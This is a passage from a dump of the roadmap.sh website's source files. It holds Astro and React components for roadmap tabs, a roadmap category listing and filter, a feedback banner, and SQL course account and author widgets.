text='Roadmap'\n            />\n            {hasProjects && (\n              <TabLink\n                url={`/${roadmapId}/projects`}\n                icon={FolderKanbanIcon}\n                text='Projects'\n                isActive={activeTab === 'projects'}\n                badgeText={projectCount > 0 ? '' : 'soon'}\n              />\n            )}\n            {hasCourses && (\n              <TabLink\n                url={`/${roadmapId}/courses`}\n                icon={BookOpenIcon}\n                text='Courses'\n                isActive={activeTab === 'courses'}\n                className='hidden md:flex'\n              />\n            )}\n            {hasAIChat && (\n              <TabLink\n                url={`/ai/roadmap-chat/${roadmapId}`}\n                icon={Bot}\n                text='AI Tutor'\n                mobileText='AI'\n                isActive={false}\n              />\n            )}\n          </div>\n\n          <PersonalizedRoadmap roadmapId={roadmapId} client:load />\n        </div>\n      )\n    }\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/RoadmapHint.astro",
    "content": "---\nimport AstroIcon from './AstroIcon.astro';\nimport Icon from './AstroIcon.astro';\nimport ResourceProgressStats from './ResourceProgressStats.astro';\n\nexport interface Props {\n  roadmapId: string;\n  titleQuestion?: string;\n  titleAnswer?: string;\n}\n\nconst { roadmapId } = Astro.props;\n---\n\n<div class:list={['mb-0 rounded-md border mt-2 bg-white']}>\n  <ResourceProgressStats\n    resourceId={roadmapId}\n    resourceType='roadmap'\n  />\n</div>\n"
  },
  {
    "path": "src/components/RoadmapNote.astro",
    "content": "---\nimport { Debug } from 'astro/components';\nimport { markdownToHtml } from '../lib/markdown';\n\nexport interface Props {\n  text: string;\n}\n\nconst { text } = Astro.props;\n---\n\n<div class='bg-gray-50'>\n  <div class='container pt-1'>\n    <p\n      class='text-sm bg-yellow-100 text-yellow-900 p-2 rounded-md mt-2 sm:mt-5 mb-0 sm:-mb-6 z-10 relative [&>a]:underline'\n      set:html={markdownToHtml(text.trim())}\n    />\n  </div>\n</div>\n"
  },
  {
    "path": "src/components/RoadmapTitleQuestion.tsx",
    "content": "import {\n  ChevronDown,\n  ChevronUp,\n  CircleHelp,\n  GraduationCap,\n  Info,\n} from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../hooks/use-outside-click';\nimport { markdownToHtml } from '../lib/markdown';\nimport { cn } from '../lib/classname';\nimport { useScrollPosition } from '../hooks/use-scroll-position';\nimport type { JSONContent } from '@tiptap/core';\nimport { guideRenderer } from '../lib/guide-renderer';\n\ntype RoadmapTitleQuestionProps = {\n  question: string;\n  answer: JSONContent;\n  roadmapId?: string;\n};\n\nexport function RoadmapTitleQuestion(props: RoadmapTitleQuestionProps) {\n  const { question, answer, roadmapId } = props;\n\n  const [isAnswerVisible, setIsAnswerVisible] = useState(false);\n  const ref = useRef<HTMLDivElement>(null);\n  const h2Ref = useRef<HTMLHeadingElement>(null);\n\n  useOutsideClick(ref, () => {\n    setIsAnswerVisible(false);\n  });\n\n  const { y: scrollY } = useScrollPosition();\n\n  return (\n    <div\n      className={cn(\n        'relative block rounded-b-[5px] border-t bg-white text-sm font-medium hover:bg-gray-50 sm:block',\n        {\n          'rounded-0 -mx-4 sm:mx-0': isAnswerVisible,\n          // @FIXME:\n          // The line below is to keep the question hidden on mobile devices except for\n          // the frontend roadmap. This is because we did not use to have the question\n          // on mobile devices before and we don't want to cause any SEO issues. It will\n          // be enabled on other roadmaps in the future.\n        },\n      )}\n    >\n      {isAnswerVisible && (\n        <div className=\"fixed top-0 right-0 left-0 z-100 h-full items-center justify-center overflow-x-hidden overflow-y-auto overscroll-contain bg-black/50\"></div>\n      )}\n      <h2\n        className=\"z-50 flex cursor-pointer items-center px-2 py-2 text-sm font-medium select-none\"\n        aria-expanded={isAnswerVisible ? 'true' : 'false'}\n        onClick={(e) => {\n          e.preventDefault();\n          setIsAnswerVisible(!isAnswerVisible);\n        }}\n      >\n        <span className=\"flex grow items-center select-none\">\n          <Info className=\"mr-1.5 inline-block h-4 w-4\" strokeWidth={2.5} />\n          {question}\n        </span>\n        <span className=\"relative -top-px shrink-0 text-gray-400\">\n          <ChevronDown className={`inline-block h-5 w-5`} />\n        </span>\n      </h2>\n\n      <div\n        className={`absolute top-0 right-0 left-0 z-100 mt-0 border bg-white ${\n          isAnswerVisible ? 'rounded-0 block sm:rounded-md' : 'hidden'\n        }`}\n        ref={ref}\n      >\n        {isAnswerVisible && (\n          <h2\n            className={cn(\n              'sticky top-0 flex cursor-pointer items-center rounded-t-md border-b bg-white px-[7px] py-[9px] text-base font-medium select-none',\n            )}\n            onClick={() => {\n              setIsAnswerVisible(false);\n              if (\n                scrollY > (h2Ref?.current?.getBoundingClientRect().top || 0)\n              ) {\n                ref.current?.scrollIntoView();\n              }\n            }}\n            ref={h2Ref}\n          >\n            <span className=\"flex grow items-center\">\n              <Info className=\"mr-2 inline-block h-4 w-4\" strokeWidth={2.5} />\n              {question}\n            </span>\n            <span className=\"relative -top-px shrink-0 text-gray-400\">\n              <ChevronUp className={`inline-block h-5 w-5`} />\n            </span>\n          </h2>\n        )}\n        <div\n          className=\"bg-gray-100 p-3 text-base [&>h2]:mt-5 [&>h2]:mb-2 [&>h2]:text-[17px] [&>h2]:font-medium [&>p]:mb-3 [&>p]:leading-relaxed [&>p]:font-normal [&>p]:text-gray-800 [&>p:last-child]:mb-0 [&>p>a]:font-semibold [&>p>a]:underline [&>p>a]:underline-offset-2 [&>ul>li]:mb-2 [&>ul>li]:font-normal\"\n          // dangerouslySetInnerHTML={{ __html: markdownToHtml(answer, false) }}\n        >\n          {guideRenderer.render(answer)}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Roadmaps/CategoryFilterButton.tsx",
    "content": "import { cn } from '../../lib/classname.ts';\n\ntype CategoryFilterButtonProps = {\n  category: string;\n  selected: boolean;\n  onClick: () => void;\n};\n\nexport function CategoryFilterButton(props: CategoryFilterButtonProps) {\n  const { category, selected, onClick } = props;\n\n  return (\n    <button\n      className={cn(\n        'border-b bg-linear-to-l py-1.5 pr-3 text-center text-sm text-gray-500 hover:text-gray-900 sm:text-right',\n        {\n          'from-white font-semibold text-gray-900':\n            selected && category !== 'All Roadmaps',\n          'font-semibold text-gray-900':\n            selected && category === 'All Roadmaps',\n          'hover:from-white': category !== 'All Roadmaps',\n        },\n      )}\n      type=\"button\"\n      onClick={onClick}\n    >\n      {category}\n    </button>\n  );\n}\n"
  },
  {
    "path": "src/components/Roadmaps/RoadmapCard.tsx",
    "content": "import { useIsMounted } from '../../hooks/use-is-mounted';\nimport { MarkFavorite } from '../FeaturedItems/MarkFavorite';\nimport type { GroupType } from './RoadmapsPage';\n\ntype RoadmapCardProps = {\n  roadmap: GroupType['roadmaps'][number];\n};\n\nexport function RoadmapCard(props: RoadmapCardProps) {\n  const { roadmap } = props;\n\n  const isMounted = useIsMounted();\n\n  return (\n    <a\n      key={roadmap.link}\n      className=\"relative rounded-md border bg-white px-3 py-2 text-left text-sm shadow-xs transition-all hover:border-gray-300 hover:bg-gray-50\"\n      href={roadmap.link}\n    >\n      {roadmap.title}\n\n      {isMounted && (\n        <MarkFavorite\n          resourceId={roadmap.link.split('/').pop()!}\n          resourceType=\"roadmap\"\n          className=\"data-[is-favorite=true]:opacity-35\"\n        />\n      )}\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/Roadmaps/RoadmapFeedbackAlert.astro",
    "content": "---\nimport { Bell } from 'lucide-react';\n\nexport interface Props {\n  roadmapId: string;\n  title: string;\n}\n\nconst { roadmapId, title } = Astro.props;\n\nconst issueTitle = encodeURIComponent(`[New Roadmap Feedback] ${title}`);\nconst roadmapUrl = encodeURIComponent(`https://roadmap.sh/${roadmapId}`);\nconst feedbackUrl = `https://github.com/kamranahmedse/developer-roadmap/issues/new?template=01-suggest-changes.yml&title=${issueTitle}&url=${roadmapUrl}`;\n---\n\n<div\n  class='hidden rounded-md border border-yellow-400 bg-gradient-to-r from-yellow-100 via-yellow-50 to-amber-100 px-2 py-2 sm:block'\n>\n  <p class='flex items-center gap-2.5 text-sm'>\n    <span\n      class='inline-flex items-center gap-1 rounded-sm bg-gradient-to-r from-yellow-600 to-yellow-700 px-2.5 py-1 text-xs font-bold text-white'\n    >\n      <Bell className='h-3.5 w-3.5' />\n      Feedback Wanted\n    </span>\n    <span class='font-medium text-yellow-900'>\n      This is a new roadmap, help us improve it with\n      <a\n        href={feedbackUrl}\n        target='_blank'\n        class='font-bold text-yellow-700 underline decoration-yellow-500 decoration-2 underline-offset-2 transition-all hover:text-yellow-900 hover:decoration-yellow-700'\n      >\n        your feedback\n      </a>\n    </span>\n  </p>\n</div>\n"
  },
  {
    "path": "src/components/Roadmaps/RoadmapsPage.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { cn } from '../../lib/classname.ts';\nimport { Filter, X } from 'lucide-react';\nimport { CategoryFilterButton } from './CategoryFilterButton.tsx';\nimport {\n  deleteUrlParam,\n  getUrlParams,\n  setUrlParams,\n} from '../../lib/browser.ts';\nimport { RoadmapCard } from './RoadmapCard.tsx';\nimport { httpGet } from '../../lib/http.ts';\nimport { isLoggedIn } from '../../lib/jwt.ts';\nimport type { AllowedMemberRoles } from '../ShareOptions/ShareTeamMemberList.tsx';\n\nexport type UserProgressResponse = {\n  resourceId: string;\n  resourceType: 'roadmap' | 'best-practice';\n  resourceTitle: string;\n  isFavorite: boolean;\n  done: number;\n  learning: number;\n  skipped: number;\n  total: number;\n  updatedAt: Date;\n  isCustomResource: boolean;\n  roadmapSlug?: string;\n  team?: {\n    name: string;\n    id: string;\n    role: AllowedMemberRoles;\n  };\n}[];\n\nconst groupNames = [\n  'Absolute Beginners',\n  'Web Development',\n  'Languages / Platforms',\n  'Frameworks',\n  'Mobile Development',\n  'Databases',\n  'Computer Science',\n  'Machine Learning',\n  'Management',\n  'Game Development',\n  'Design',\n  'DevOps',\n  'Blockchain',\n  'Cyber Security',\n];\n\ntype AllowGroupNames = (typeof groupNames)[number];\n\nexport type GroupType = {\n  group: AllowGroupNames;\n  roadmaps: {\n    title: string;\n    link: string;\n    type: 'role' | 'skill' | 'best-practice';\n    otherGroups?: AllowGroupNames[];\n  }[];\n};\n\nconst groups: GroupType[] = [\n  {\n    group: 'Absolute Beginners',\n    roadmaps: [\n      {\n        title: 'Frontend Beginner',\n        link: '/frontend?r=frontend-beginner',\n        type: 'role',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Backend Beginner',\n        link: '/backend?r=backend-beginner',\n        type: 'role',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'DevOps Beginner',\n        link: '/devops?r=devops-beginner',\n        type: 'role',\n        otherGroups: ['Web Development'],\n      },\n    ],\n  },\n  {\n    group: 'Web Development',\n    roadmaps: [\n      {\n        title: 'Frontend',\n        link: '/frontend',\n        type: 'role',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Backend',\n        link: '/backend',\n        type: 'role',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Full Stack',\n        link: '/full-stack',\n        type: 'role',\n        otherGroups: ['Web Development', 'Absolute Beginners'],\n      },\n      {\n        title: 'API Design',\n        link: '/api-design',\n        type: 'role',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'QA',\n        link: '/qa',\n        type: 'role',\n      },\n      {\n        title: 'GraphQL',\n        link: '/graphql',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Git and GitHub',\n        link: '/git-github',\n        type: 'skill',\n        otherGroups: ['Web Development', 'DevOps'],\n      },\n    ],\n  },\n  {\n    group: 'Frameworks',\n    roadmaps: [\n      {\n        title: 'React',\n        link: '/react',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Vue',\n        link: '/vue',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Angular',\n        link: '/angular',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Next.js',\n        link: '/nextjs',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Spring Boot',\n        link: '/spring-boot',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'ASP.NET Core',\n        link: '/aspnet-core',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Laravel',\n        link: '/laravel',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n    ],\n  },\n  {\n    group: 'Languages / Platforms',\n    roadmaps: [\n      {\n        title: 'HTML',\n        link: '/html',\n        type: 'skill',\n        otherGroups: ['Web Development', 'Absolute Beginners'],\n      },\n      {\n        title: 'CSS',\n        link: '/css',\n        type: 'skill',\n        otherGroups: ['Web Development', 'Absolute Beginners'],\n      },\n      {\n        title: 'JavaScript',\n        link: '/javascript',\n        type: 'skill',\n        otherGroups: [\n          'Web Development',\n          'DevOps',\n          'Mobile Development',\n          'Absolute Beginners',\n        ],\n      },\n      {\n        title: 'Kotlin',\n        link: '/kotlin',\n        type: 'skill',\n        otherGroups: ['Web Development', 'DevOps', 'Mobile Development'],\n      },\n      {\n        title: 'Swift & Swift-UI',\n        link: '/swift-ui',\n        type: 'skill',\n        otherGroups: ['Mobile Development'],\n      },\n      {\n        title: 'TypeScript',\n        link: '/typescript',\n        type: 'skill',\n        otherGroups: ['Web Development', 'Mobile Development'],\n      },\n      {\n        title: 'Node.js',\n        link: '/nodejs',\n        type: 'skill',\n        otherGroups: ['Web Development', 'DevOps', 'Absolute Beginners'],\n      },\n      {\n        title: 'PHP',\n        link: '/php',\n        type: 'skill',\n        otherGroups: ['Web Development', 'DevOps', 'Absolute Beginners'],\n      },\n      {\n        title: 'C++',\n        link: '/cpp',\n        type: 'skill',\n      },\n      {\n        title: 'Go',\n        link: '/golang',\n        type: 'skill',\n        otherGroups: ['Web Development', 'DevOps', 'Absolute Beginners'],\n      },\n      {\n        title: 'Rust',\n        link: '/rust',\n        type: 'skill',\n        otherGroups: ['Web Development', 'DevOps'],\n      },\n      {\n        title: 'Python',\n        link: '/python',\n        type: 'skill',\n        otherGroups: ['Web Development', 'DevOps'],\n      },\n      {\n        title: 'Java',\n        link: '/java',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'SQL',\n        link: '/sql',\n        type: 'skill',\n        otherGroups: ['Web Development', 'Databases', 'DevOps'],\n      },\n      {\n        title: 'Shell / Bash',\n        link: '/shell-bash',\n        type: 'skill',\n        otherGroups: ['Web Development', 'DevOps'],\n      },\n    ],\n  },\n  {\n    group: 'DevOps',\n    roadmaps: [\n      {\n        title: 'DevOps',\n        link: '/devops',\n        type: 'role',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Docker',\n        link: '/docker',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Kubernetes',\n        link: '/kubernetes',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'AWS',\n        link: '/aws',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Cloudflare',\n        link: '/cloudflare',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Linux',\n        link: '/linux',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Terraform',\n        link: '/terraform',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n    ],\n  },\n  {\n    group: 'Mobile Development',\n    roadmaps: [\n      {\n        title: 'Android',\n        link: '/android',\n        type: 'role',\n      },\n      {\n        title: 'iOS',\n        link: '/ios',\n        type: 'role',\n      },\n      {\n        title: 'React Native',\n        link: '/react-native',\n        type: 'skill',\n      },\n      {\n        title: 'Flutter',\n        link: '/flutter',\n        type: 'skill',\n      },\n    ],\n  },\n  {\n    group: 'Databases',\n    roadmaps: [\n      {\n        title: 'PostgreSQL',\n        link: '/postgresql-dba',\n        type: 'role',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'MongoDB',\n        link: '/mongodb',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Redis',\n        link: '/redis',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n    ],\n  },\n  {\n    group: 'Computer Science',\n    roadmaps: [\n      {\n        title: 'Computer Science',\n        link: '/computer-science',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Data Structures',\n        link: '/datastructures-and-algorithms',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'System Design',\n        link: '/system-design',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Design and Architecture',\n        link: '/software-design-architecture',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Software Architect',\n        link: '/software-architect',\n        type: 'role',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Code Review',\n        link: '/code-review',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Technical Writer',\n        link: '/technical-writer',\n        type: 'role',\n      },\n      {\n        title: 'DevRel Engineer',\n        link: '/devrel',\n        type: 'role',\n      },\n    ],\n  },\n  {\n    group: 'Machine Learning',\n    roadmaps: [\n      {\n        title: 'Machine Learning',\n        link: '/machine-learning',\n        type: 'role',\n      },\n      {\n        title: 'AI and Data Scientist',\n        link: '/ai-data-scientist',\n        type: 'role',\n      },\n      {\n        title: 'AI Engineer',\n        link: '/ai-engineer',\n        type: 'role',\n      },\n      {\n        title: 'AI Agents',\n        link: '/ai-agents',\n        type: 'role',\n      },\n      {\n        title: 'AI Red Teaming',\n        link: '/ai-red-teaming',\n        type: 'skill',\n      },\n      {\n        title: 'Data Analyst',\n        link: '/data-analyst',\n        type: 'role',\n      },\n      {\n        title: 'BI Analyst',\n        link: '/bi-analyst',\n        type: 'role',\n      },\n      {\n        title: 'Data Engineer',\n        link: '/data-engineer',\n        type: 'role',\n      },\n      {\n        title: 'MLOps',\n        link: '/mlops',\n        type: 'role',\n      },\n      {\n        title: 'Prompt Engineering',\n        link: '/prompt-engineering',\n        type: 'skill',\n      },\n    ],\n  },\n  {\n    group: 'Management',\n    roadmaps: [\n      {\n        title: 'Product Manager',\n        link: '/product-manager',\n        type: 'role',\n      },\n      {\n        title: 'Engineering Manager',\n        link: '/engineering-manager',\n        type: 'role',\n      },\n    ],\n  },\n  {\n    group: 'Game Development',\n    roadmaps: [\n      {\n        title: 'Client Side Game Dev.',\n        link: '/game-developer',\n        type: 'role',\n      },\n      {\n        title: 'Server Side Game Dev.',\n        link: '/server-side-game-developer',\n        type: 'role',\n      },\n    ],\n  },\n  {\n    group: 'Design',\n    roadmaps: [\n      {\n        title: 'UX Design',\n        link: '/ux-design',\n        type: 'role',\n      },\n      {\n        title: 'Design System',\n        link: '/design-system',\n        type: 'skill',\n        otherGroups: ['Web Development'],\n      },\n    ],\n  },\n  {\n    group: 'Blockchain',\n    roadmaps: [\n      {\n        title: 'Blockchain',\n        link: '/blockchain',\n        type: 'role',\n      },\n    ],\n  },\n  {\n    group: 'Cyber Security',\n    roadmaps: [\n      {\n        title: 'Cyber Security',\n        link: '/cyber-security',\n        type: 'role',\n      },\n    ],\n  },\n  {\n    group: 'Best Practices',\n    roadmaps: [\n      {\n        title: 'Backend Performance',\n        link: '/backend-performance-best-practices',\n        type: 'best-practice',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Frontend Performance',\n        link: '/frontend-performance-best-practices',\n        type: 'best-practice',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'Code Review',\n        link: '/code-review-best-practices',\n        type: 'best-practice',\n        otherGroups: ['Web Development'],\n      },\n      {\n        title: 'AWS',\n        link: '/aws-best-practices',\n        type: 'best-practice',\n        otherGroups: ['Web Development', 'DevOps'],\n      },\n      {\n        title: 'API Security',\n        link: '/api-security-best-practices',\n        type: 'best-practice',\n        otherGroups: ['Web Development'],\n      },\n    ],\n  },\n];\n\nconst roleRoadmaps = groups.flatMap((group) =>\n  group.roadmaps.filter((roadmap) => roadmap.type === 'role'),\n);\nconst skillRoadmaps = groups.flatMap((group) =>\n  group.roadmaps.filter((roadmap) => roadmap.type === 'skill'),\n);\nconst bestPracticeRoadmaps = groups.flatMap((group) =>\n  group.roadmaps.filter((roadmap) => roadmap.type === 'best-practice'),\n);\n\nconst allGroups = [\n  {\n    group: 'Role Based Roadmaps',\n    roadmaps: roleRoadmaps,\n  },\n  {\n    group: 'Skill Based Roadmaps',\n    roadmaps: skillRoadmaps,\n  },\n  {\n    group: 'Best Practices',\n    roadmaps: bestPracticeRoadmaps,\n  },\n];\n\nexport function RoadmapsPage() {\n  const [activeGroup, setActiveGroup] = useState<AllowGroupNames>('');\n  const [visibleGroups, setVisibleGroups] = useState<GroupType[]>(allGroups);\n\n  const [isFilterOpen, setIsFilterOpen] = useState(false);\n\n  useEffect(() => {\n    if (!activeGroup) {\n      setVisibleGroups(allGroups);\n      return;\n    }\n\n    const group = groups.find((group) => group.group === activeGroup);\n    if (!group) {\n      return;\n    }\n\n    // other groups that have a roadmap that is in the same group\n    const otherGroups = groups.filter((g) => {\n      return (\n        g.group !== group.group &&\n        g.roadmaps.some((roadmap) => {\n          return roadmap.otherGroups?.includes(group.group);\n        })\n      );\n    });\n\n    setVisibleGroups([\n      group,\n      ...otherGroups.map((g) => ({\n        ...g,\n        roadmaps: g.roadmaps.filter((roadmap) =>\n          roadmap.otherGroups?.includes(group.group),\n        ),\n      })),\n    ]);\n  }, [activeGroup]);\n\n  async function loadProgress() {\n    const { response: progressList, error } =\n      await httpGet<UserProgressResponse>(\n        `${import.meta.env.PUBLIC_API_URL}/v1-get-hero-roadmaps`,\n      );\n\n    if (error || !progressList) {\n      return;\n    }\n\n    progressList?.forEach((progress) => {\n      window.dispatchEvent(\n        new CustomEvent('mark-favorite', {\n          detail: {\n            resourceId: progress.resourceId,\n            resourceType: progress.resourceType,\n            isFavorite: progress.isFavorite,\n          },\n        }),\n      );\n    });\n  }\n\n  useEffect(() => {\n    if (!isLoggedIn()) {\n      return;\n    }\n\n    loadProgress().finally(() => {});\n  }, []);\n\n  useEffect(() => {\n    const { g } = getUrlParams() as { g: AllowGroupNames };\n    if (!g) {\n      return;\n    }\n\n    setActiveGroup(g);\n  }, []);\n\n  return (\n    <div className=\"border-t bg-gray-100\">\n      <button\n        onClick={() => {\n          setIsFilterOpen(!isFilterOpen);\n        }}\n        id=\"filter-button\"\n        className={cn(\n          '-mt-1 flex w-full items-center justify-center bg-gray-300 py-2 text-sm text-black focus:shadow-none focus:outline-0 sm:hidden',\n          {\n            'mb-3': !isFilterOpen,\n          },\n        )}\n      >\n        {!isFilterOpen && <Filter size={13} className=\"mr-1\" />}\n        {isFilterOpen && <X size={13} className=\"mr-1\" />}\n        Categories\n      </button>\n      <div className=\"relative container flex flex-col gap-4 sm:flex-row\">\n        <div\n          className={cn(\n            'hidden w-full flex-col from-gray-100 sm:w-[180px] sm:border-r sm:bg-linear-to-l sm:pt-6',\n            {\n              'hidden sm:flex': !isFilterOpen,\n              'z-50 flex': isFilterOpen,\n            },\n          )}\n        >\n          <div className=\"absolute top-0 -mx-4 w-full bg-white pb-0 shadow-xl sm:sticky sm:top-10 sm:mx-0 sm:bg-transparent sm:pb-20 sm:shadow-none\">\n            <div className=\"grid grid-cols-1\">\n              <CategoryFilterButton\n                onClick={() => {\n                  setActiveGroup('');\n                  setIsFilterOpen(false);\n                  deleteUrlParam('g');\n                }}\n                category={'All Roadmaps'}\n                selected={activeGroup === ''}\n              />\n\n              {groups.map((group) => (\n                <CategoryFilterButton\n                  key={group.group}\n                  onClick={() => {\n                    setActiveGroup(group.group);\n                    setIsFilterOpen(false);\n                    document?.getElementById('filter-button')?.scrollIntoView();\n                    setUrlParams({ g: group.group });\n                  }}\n                  category={group.group}\n                  selected={activeGroup === group.group}\n                />\n              ))}\n            </div>\n          </div>\n        </div>\n        <div className=\"flex grow flex-col gap-6 pt-2 pb-20 sm:pt-8\">\n          {visibleGroups.map((group) => (\n            <div key={`${group.group}-${group.roadmaps.length}`}>\n              <h2 className=\"mb-2 text-xs tracking-wide text-gray-400 uppercase\">\n                {group.group}\n              </h2>\n\n              <div className=\"grid grid-cols-1 gap-1.5 sm:grid-cols-2 md:grid-cols-3\">\n                {group.roadmaps.map((roadmap) => (\n                  <RoadmapCard roadmap={roadmap} key={roadmap.link} />\n                ))}\n              </div>\n            </div>\n          ))}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/Roadmaps/RoadmapsPageHeader.tsx",
    "content": "import { isLoggedIn } from '../../lib/jwt.ts';\nimport { showLoginPopup } from '../../lib/popup.ts';\n\nexport function RoadmapsPageHeader() {\n  return (\n    <div className=\"bg-white py-3 sm:py-12\">\n      <div className=\"container\">\n        <div className=\"flex flex-col items-start bg-white sm:items-center\">\n          <h1 className=\"text-2xl font-bold sm:text-5xl\">Developer Roadmaps</h1>\n          <p className=\"mb-3 mt-1 text-sm sm:my-3 sm:text-lg\">\n            Browse the ever-growing list of up-to-date, community driven\n            roadmaps\n          </p>\n          <p className=\"mb-3 flex w-full flex-col gap-1.5 sm:mb-0 sm:w-auto sm:flex-row sm:gap-3\">\n            <a\n              className=\"inline-block rounded-md bg-black px-3.5 py-2 text-sm text-white sm:py-1.5 sm:text-base\"\n              href=\"https://draw.roadmap.sh\"\n              onClick={(e) => {\n                if (!isLoggedIn()) {\n                  e.preventDefault();\n                  showLoginPopup();\n                }\n              }}\n            >\n              Draw your own roadmap\n            </a>\n            <a\n              className=\"inline-block rounded-md bg-gray-300 px-3.5 py-2 text-sm text-black sm:py-1.5 sm:text-base\"\n              href=\"https://roadmap.sh/ai\"\n              onClick={(e) => {\n                if (!isLoggedIn()) {\n                  e.preventDefault();\n                  showLoginPopup();\n                }\n              }}\n            >\n              Generate Roadmaps with AI\n            </a>\n          </p>\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/AccountButton.tsx",
    "content": "import { useQuery } from '@tanstack/react-query';\nimport { useEffect, useState } from 'react';\nimport { isLoggedIn } from '../../lib/jwt';\nimport {\n  courseProgressOptions\n} from '../../queries/course-progress';\nimport { queryClient } from '../../stores/query-client';\nimport { CourseLoginPopup } from '../AuthenticationFlow/CourseLoginPopup';\nimport { BuyButton, SQL_COURSE_SLUG } from './BuyButton';\n\nexport function AccountButton() {\n  const [isVisible, setIsVisible] = useState(false);\n  const [showLoginModal, setShowLoginModal] = useState(false);\n\n  const { data: courseProgress, isLoading: isLoadingCourseProgress } = useQuery(\n    courseProgressOptions(SQL_COURSE_SLUG),\n    queryClient,\n  );\n\n  useEffect(() => {\n    setIsVisible(true);\n  }, []);\n\n  const buttonClasses =\n    'rounded-full px-5 py-2 text-base font-medium text-yellow-700 hover:text-yellow-500 transition-colors';\n\n  const hasEnrolled = !!courseProgress?.enrolledAt;\n  const loginModal = (\n    <CourseLoginPopup\n      checkoutAfterLogin={false}\n      onClose={() => {\n        setShowLoginModal(false);\n      }}\n    />\n  );\n\n  if (!isVisible || isLoadingCourseProgress) {\n    return <button className={`${buttonClasses} opacity-0`}>...</button>;\n  }\n\n  if (!isLoggedIn()) {\n    return (\n      <>\n        <button\n          onClick={() => setShowLoginModal(true)}\n          className={`${buttonClasses} animate-fade-in`}\n        >\n          Login\n        </button>\n        {showLoginModal && loginModal}\n      </>\n    );\n  }\n\n  if (!hasEnrolled) {\n    return <BuyButton variant=\"top-nav\" />;\n  }\n\n  return (\n    <a\n      href={`${import.meta.env.PUBLIC_COURSE_APP_URL}/${SQL_COURSE_SLUG}`}\n      className={`${buttonClasses} animate-fade-in`}\n    >\n      Start Learning\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/SQLCourse/AuthorCredentials.tsx",
    "content": "\nexport function AuthorCredentials() {\n  return (\n    <div className=\"mx-auto mt-8 flex flex-col items-start gap-4 text-sm text-zinc-400 sm:flex-row sm:flex-wrap sm:items-center md:mt-12 md:justify-center md:gap-x-3 md:gap-y-2\">\n      <div className=\"flex items-center gap-1\">\n        <img\n          src=\"https://github.com/kamranahmedse.png\"\n          className=\"mr-1.5 size-8 rounded-full object-cover\"\n          alt=\"Kamran Ahmed\"\n        />\n        <span>Course by</span>\n        <a\n          href=\"https://twitter.com/kamrify\"\n          target=\"_blank\"\n          className=\"font-medium text-yellow-500 hover:text-yellow-400\"\n        >\n          Kamran Ahmed\n        </a>\n      </div>\n      <div className=\"hidden flex-wrap items-center gap-x-3 gap-y-2 sm:flex sm:justify-center\">\n        <a\n          href=\"https://github.com/kamranahmedse\"\n          target=\"_blank\"\n          className=\"hidden items-center gap-1 text-yellow-500 hover:text-yellow-400 sm:inline-flex\"\n        >\n          <svg className=\"size-4 fill-zinc-400\" viewBox=\"0 0 24 24\">\n            <path d=\"M12 2C6.477 2 2 6.477 2 12c0 4.42 2.865 8.17 6.839 9.49.5.092.682-.217.682-.482 0-.237-.008-.866-.013-1.7-2.782.603-3.369-1.342-3.369-1.342-.454-1.155-1.11-1.462-1.11-1.462-.908-.62.069-.608.069-.608 1.003.07 1.531 1.03 1.531 1.03.892 1.529 2.341 1.087 2.91.832.092-.647.35-1.088.636-1.338-2.22-.253-4.555-1.11-4.555-4.943 0-1.091.39-1.984 1.029-2.683-.103-.253-.446-1.27.098-2.647 0 0 .84-.269 2.75 1.022A9.607 9.607 0 0 1 12 6.82c.85.004 1.705.114 2.504.336 1.909-1.291 2.747-1.022 2.747-1.022.546 1.377.203 2.394.1 2.647.64.699 1.028 1.592 1.028 2.683 0 3.842-2.339 4.687-4.566 4.935.359.309.678.919.678 1.852 0 1.336-.012 2.415-.012 2.743 0 .267.18.578.688.48C19.138 20.167 22 16.418 22 